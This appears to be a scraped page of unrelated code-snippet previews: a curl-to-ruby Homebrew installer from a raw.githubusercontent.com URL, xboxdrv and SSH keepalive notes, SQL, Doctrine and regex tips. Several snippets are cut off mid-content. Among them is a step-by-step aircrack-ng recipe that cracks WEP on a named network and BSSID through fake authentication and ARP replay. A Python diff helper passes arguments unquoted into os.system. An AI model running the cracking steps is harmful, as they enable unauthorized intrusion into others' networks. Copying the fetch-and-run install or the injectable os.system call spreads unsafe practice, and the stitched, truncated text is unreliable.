/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
$ brew install wget
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
$ brew install wget
Autosave: https://www.jetbrains.com/help/phpstorm/saving-and-reverting-changes.html PhpStorm > Preferences > Appearance & Behavior > System Settings > Synchronization
| #Install: Open a terminal window and run: | |
| sudo apt-get install xboxdrv -y | |
| #Usage: Open a terminal window and run: | |
| sudo rmmod xpad | |
| sudo xboxdrv --mouse | |
| #https://github.com/xboxdrv/xboxdrv | |
| #http://www.omgubuntu.co.uk/2013/07/dealing-with-xbox-controllers-in-ubuntu | |
| #Source: http://xubuntugeek.blogspot.mx/2012/07/how-to-use-xbox-360-controller-as-mouse.html |
SET sql_mode = "ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION";
| #1st Step | |
| airmon-ng stop wlan0 | |
| airmon-ng start wlan0 | |
| airodump-ng mon0 | |
| #2nd Step | |
| sudo airodump-ng -c 6 --bssid B4:75:0E:1A:69:8F -w captura mon0 | |
| sudo aireplay-ng -1 0 -e Netcommerce -a B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0 | |
| sudo aireplay-ng -3 -b B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0 | |
| aircrack-ng -z *.cap |
| #!/usr/bin/python | |
| import sys | |
| import os | |
| os.system('meld "%s" "%s"' % (sys.argv[2], sys.argv[5])) | |
| #git config -l | |
| #diff.external=/path/to/script/diff.py |
php vendor/bin/doctrine orm:convert-mapping --force --from-database --from-database xml test/Mapping
php vendor/bin/doctrine orm:convert-mapping --force --from-database --from-database xml module/Application/src/Entity/| ##http://www.howtogeek.com/howto/linux/keep-your-linux-ssh-session-from-disconnecting/ | |
| #Global Configuration | |
| #Add the following line to the /etc/ssh/ssh_config file: | |
| ServerAliveInterval 60 | |
| #The number is the amount of seconds before the server with send the no-op code. | |
| #Current User Configuration | |
| #Add the following lines to the ~/.ssh/config file (create if it doesn’t exist) | |
| Host * |
| #REGEX REPLACE | |
| find : <li>*.+?(echo)+.*<\/li> | |
| replace : <?php if($userac->hasPermission('access','')) { ?>\n\t\t$0\n\t\t\t<?php } ?> | |
| #http://stackoverflow.com/questions/20742076/regex-replace-uppercase-with-lowercase-letters | |
| #Lowercase Replacement | |
| find : \bAS\b | |
| replace : \L$0 | |
| #Uppercase Replacement |